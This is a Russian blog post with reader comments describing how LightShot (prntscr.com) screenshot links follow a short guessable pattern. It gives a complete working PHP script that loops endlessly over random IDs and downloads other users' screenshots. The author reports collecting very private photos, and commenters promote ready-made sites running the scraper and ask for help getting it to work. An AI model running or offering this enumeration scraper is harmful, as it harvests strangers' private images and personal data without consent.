Сегодня я наткнулся на одну «уязвимость» сервиса для моментальных скриншотов LightShot.
Всё началось с того, что я загрузил очередной скриншот и вспомнил недавнюю статью на хабре, где сливались пользовательские данные по ссылкам методом перебора.
Попробовав изменить одну букву в URL'e, мне любезно выдало чужой скриншот.
Для начала я попытался понять по какой маске генерируется ссылка вида http://prntscr.com/1npf9n
После небольших экспериментов, понял что маска скорее всего вида prntscr.com/1[a-z0–9] (после цифры 1 идет от 4 до 5 рандомных символов)
Так же я попробовал ссылки http://prntscr.com/login и http://prntscr.com/admin, по которым тоже увидел скриншоты.
Вероятнее всего алгоритм немного переписывался, и текущий алгоритм генерации ссылки устроен так, что исчерпав все варианты комбинаций, либо увеличится длина ссылки до 7 символов, либо маска станет prntscr.com/2[a-z0–9]
В процессе обнаружил одну особенность сервиса — он не хранит картинки у себя на сервере, а заливает их через API на imgur.com и imageshack.us
Меня терзало любопытство: «А можно ли скачать все скриншоты?»
И было решено написать небольшой скрипт. Сначала хотел писать на Python, но он не установлен на моем рабочем ноутбуке, зато под руку попался Denwer и PHP.
Просьба не пинать меня за мой код, который был написан за 5 минут на скорую руку. Он вполне рабочий.
<?php
set_time_limit(0); // убираем ограничение по времени выполнения скрипта
function random_string($length){ // функция генерации рандомной строки
$chars = "abcdefghijklmnopqrstuvwxyz1234567890"; // символы из которых генерируем
$numChars = strlen($chars); // Определяем длину $chars
$string = ''; // задаем пустую переменную
for ($i = 0; $i < $length; $i++) { // Собираем строку
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string; // Возвращаем готовую строку
}
while (1) {
$randstring = random_string(5); // генерируем рандомную сроку
$htmldata = file_get_contents('http://prntscr.com/1'.$randstring); // подставляем рандомную строку и получаем код страницы
preg_match_all('/<meta name="twitter:image:src" content="(.*?)"/>/is',$htmldata,$img_url); // парсим регуляркой url картинки
if (strlen($img_url[1][0]) > 1) { // проверяем длину полученной строки, если больше 1 - картинка по этому адресу есть
$localname = array_pop(explode('/',$img_url[1][0])); // разбиваем строку в массив и извлекаем последний элемент массива (т.е. imagename.png)
$localpath = "./images/".$localname; // определяем куда будет сохраняться картинка локально. у меня заранее создана папка images
file_put_contents($localpath, file_get_contents($img_url[1][0])); // скачиваем, можно было бы реализовать через curl, но на мой взгляд это проще и быстрее
echo "<span style='color: green; display: block; margin-bottom: 50px;'>Сохранение - ".$localname." , url - http://prntscr.com/1".$randstring." , скачиваем с ".$img_url[1][0]."</span>";
} else {
echo "<span style='color: red; display: block; margin-bottom: 50px;'>По адресу http://prntscr.com/1".$randstring." нет картинки</span>";
}
}
?>
Результат выполнения в браузере (как видно, ~95% сгенерированных рандомных ссылок выдают скриншоты)
В итоге накачал целую кучу скриншотов, среди которых есть слишком личные фото людей, скриншоты кода, и много других интересных вещей.
Автор: ferym
Сегодня (2018) file_get_contents считается уже устаревшим. Без знаний пхп врядли получится что то запустить.
Для всех кому лень разбираться в коже написал сайт https://print-screen.info там стоит уже готовый рабочий скрипт.
Сайт уже не грузит скриншоты и это печально https://print-screen.info
Вот создали полноценный с рабочим функционалом https://caschbox.com/
В образовательных целях не могли бы поправить код с пояснениями для чайников? Хотелось бы собственноручно (хоть и списать) заставить работать этот код на своем ПК.